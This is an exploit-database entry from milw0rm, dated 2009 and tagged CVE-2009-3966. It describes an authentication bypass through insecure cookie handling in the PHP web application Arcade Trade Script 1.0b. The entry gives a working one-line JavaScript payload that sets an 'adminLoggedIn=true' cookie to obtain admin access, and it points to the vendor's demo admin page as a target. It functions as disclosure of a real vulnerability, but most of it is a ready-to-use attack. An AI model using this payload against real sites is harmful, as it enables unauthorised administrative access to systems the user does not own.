Arcade Trade Script 1.0b - (Authentication Bypass) Insecure Cookie Handling

Author: Mr.tro0oqy
type: webapps
platform: php
port: 
date_added: 2009-08-23 
date_updated:  
verified: 1 
codes: OSVDB-57345;CVE-2009-3966 
tags: 
aliases:  
screenshot_url:  
application_url:

======================================================================
[Â»] Script : Arcade Trade Script v.1.0 Insecure Cookie Handling Vuln

[Â»] Language : php

[Â»] Script site : http://www.arcadetradescript.com

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

javascript:document.cookie="adminLoggedIn=true;path=/";

--------
demo:
--------

http://www.arcadetradescript.com/demo/admin/
--------

# milw0rm.com [2009-08-24]